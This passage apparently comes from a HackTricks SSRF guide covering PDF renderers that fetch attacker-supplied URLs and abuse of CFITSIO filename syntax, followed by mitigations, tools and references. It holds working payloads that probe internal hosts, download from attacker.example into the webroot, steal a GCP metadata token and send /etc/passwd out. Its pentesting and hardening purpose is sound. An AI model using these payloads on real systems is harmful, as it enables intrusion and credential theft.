    420 Libraries such as **TCPDF** (and wrappers like **spipu/html2pdf**) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each `<img>` or `<link rel="stylesheet">` attribute is resolved server-side via cURL, `getimagesize()`, or `file_get_contents()`, so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.<sup>[[5]](#references)</sup>
    421 
    422 ```text
    423 <html>
    424   <body>
    425     <img width="1" height="1" src="http://127.0.0.1:8080/healthz">
    426     <link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
    427   </body>
    428 </html>
    429 ```
    430 
    431 - TCPDF 6.10.0 issues several retrieval attempts for each `<img>` resource, so a single payload can generate multiple requests (helpful for timing-based port scans).
    432 - html2pdf copies TCPDF’s behaviour for `<img>` and adds CSS fetching inside `Css::extractStyle()`, which simply calls `file_get_contents($href)` after a shallow scheme check. Abuse it to hit loopback services, RFC1918 ranges, or cloud metadata endpoints.
    433 - Combine this SSRF primitive with the [HTML-to-PDF path traversal tricks](/hacktricks/pentesting-web/file-inclusion/overview#html-to-pdf-svgimg-path-traversal) to leak both internal HTTP responses and local files rendered into the PDF.
    434 
    435 Hardeners should strip external URLs before rendering or isolate the renderer in a network sandbox; until then, treat PDF generators as blind SSRF proxies.
    436 
    437 ## Filename mini-languages as SSRF/file primitives (CFITSIO EFS)
    438 
    439 Some libraries treat a **filename** as a **mini-language** instead of a literal path. When untrusted input reaches these parsers, the sink stops being “open a file” and becomes “interpret a DSL that can select protocols, filters, output paths, and transformations”. Treat these APIs like SSRF-capable interpreters, not like safe file open calls.
    440 
    441 A good example is **CFITSIO Extended Filename Syntax (EFS)**. Passing attacker-controlled input to EFS-aware APIs such as `fits_open_file()` may expose several chained primitives:<sup>[[9]](#references)[[10]](#references)</sup>
    442 
    443 - **Persistent SSRF / forced download**: URL-like prefixes (`http://`, `https://`, `ftp://`, `ftps://`) make CFITSIO fetch remote content. The **outfile** syntax then writes the response body to a local path controlled by the attacker:
    444 
    445 ```bash
    446 https://attacker.example/payload(/var/www/html/grabbed.bin)
    447 ```
    448 
    449   This is stronger than blind SSRF because the fetched bytes are persisted locally and can be chained with later file retrieval, cache poisoning, or webroot writes.
    450 - **Header / request injection through raw HTTP drivers**: If the library builds the request line from attacker-controlled filename data, embedded newlines may inject headers required by cloud metadata services. Example payload for **GCP metadata** access through a raw HTTP backend:
    451 
    452 ```bash
    453 $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/tmp/gcp-token.txt)'
    454 ```
    455 
    456   Here the SSRF both reaches the metadata endpoint and persists the first response body locally.
    457 - **Writable network sink discovery / exfiltration**: Even if one remote driver only supports read access, another registered backend may still expose **create/write** callbacks. In CFITSIO, the legacy `root://` backend can be abused as an outbound sink. Chaining a local file, the outfile syntax, and raw-binary conversion can wrap non-FITS bytes into a synthetic FITS object and exfiltrate them:
    458 
    459 ```bash
    460 '/etc/passwd(root://127.0.0.1:1094//loot)[b500,1][*,*]'
    461 ```
    462 
    463 - **Adjacent local file primitives**: The same outfile syntax can also copy a readable local file to another local path **before** full FITS validation, so a sink that looks like “open uploaded image” can become an arbitrary file copy gadget.
    464 
    465 ### Testing notes
    466 
    467 - Enumerate whether the target parser accepts **scheme prefixes**, **redirection / outfile clauses**, **selectors**, **filters**, or **format-conversion suffixes**.
    468 - Probe for **CR/LF injection** inside filename-derived network requests when metadata endpoints require special headers.
    469 - Look for backends that support **write/create** operations, not only read/open. A legacy or obscure protocol handler may be the exfiltration path.
    470 - If the sink expects a specific container format, try built-in **raw import / conversion** features to wrap arbitrary bytes into an accepted object before exfiltration.
    471 
    472 ### Mitigations
    473 
    474 - Prefer literal-path APIs such as **`fits_open_diskfile()`** or **`fits_open_datafile()`** when opening untrusted paths.<sup>[[11]](#references)</sup>
    475 - Treat extended filename syntaxes as **privileged features** and disable or gate them for attacker-controlled input.
    476 - Reject or strictly sanitise metacharacters that switch parser modes (`(`, `)`, `[`, `]`, CR, LF, scheme prefixes) before calling EFS-aware APIs.
    477 
    478 ## Cloud SSRF Exploitation
    479 
    480 If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:
    481 
    482 
    483 [Cloud Ssrf](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf)
    484 
    485 ## SSRF Vulnerable Platforms
    486 
    487 Several known platforms contains or has contained SSRF vulnerabilities, check them in:
    488 
    489 
    490 [Ssrf Vulnerable Platforms](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms)
    491 
    492 ## Tools
    493 
    494 ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
    495 
    496 Tool to detect and exploit SSRF vulnerabilities
    497 
    498 ### [Gopherus](https://github.com/tarunkant/Gopherus)
    499 
    500 - [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
    501 
    502 This tool generates Gopher payloads for:
    503 
    504 - MySQL
    505 - PostgreSQL
    506 - FastCGI
    507 - Redis
    508 - Zabbix
    509 - Memcache
    510 
    511 ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
    512 
    513 - [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
    514 
    515 _remote-method-guesser_ is a _Java RMI_ vulnerability scanner that supports attack operations for most common _Java RMI_ vulnerabilities. Most of the available operations support the `--ssrf` option, to generate an _SSRF_ payload for the requested operation. Together with the `--gopher` option, ready to use _gopher_ payloads can be generated directly.
    516 
    517 ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
    518 
    519 SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
    520 
    521 ### To practice
    522 
    523 
    524 [Ssrf Vulnerable Lab](https%3A//github.com/incredibleindishell/SSRF_Vulnerable_Lab)
    525 
    526 ## References
    527 
    528 - [1] [SSRF Payloads](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
    529 - [2] [PayloadsAllTheThings - Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
    530 - [3] [SSRF Vulnerabilities Caused by SNI Proxy Misconfigurations](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
    531 - [4] [Exploiting HTTP Parsers' Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
    532 - [5] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
    533 - [6] [Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk](https://www.tenable.com/blog/tenable-discovers-ssrf-vulnerability-in-java-tls-handshakes-that-creates-dos-risk)
    534 - [7] [RFC 5280 §4.2.2.1 Authority Information Access](https://datatracker.ietf.org/doc/html/rfc5280#section-4.2.2.1)
    535 - [8] [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/)
    536 - [9] [When Filenames Become Attack Surfaces: Weaponizing NASA's CFITSIO Extended Filename Syntax](https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html)
    537 - [10] [CFITSIO's Extended Filename Syntax - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/filters.html)
    538 - [11] [CFITSIO FITS File Access Routines (`fits_open_diskfile`, `fits_open_datafile`) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html)
    539 - [12] [Novel SSRF Technique Involving HTTP Redirect Loops - Assetnote Security Research Center](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/)
    540 - [13] [SECCON CTF 2022 Quals - easylfi writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)
    541 - [14] [PortSwigger - Web Security - Ssrf](https://portswigger.net/web-security/ssrf)
    542 - [15] [everything curl - URL globbing](https://everything.curl.dev/cmdline/urls/globbing.html)
    543 - [16] [youtube.com - Watch](https://www.youtube.com/watch?v=qGpAJxfADjo)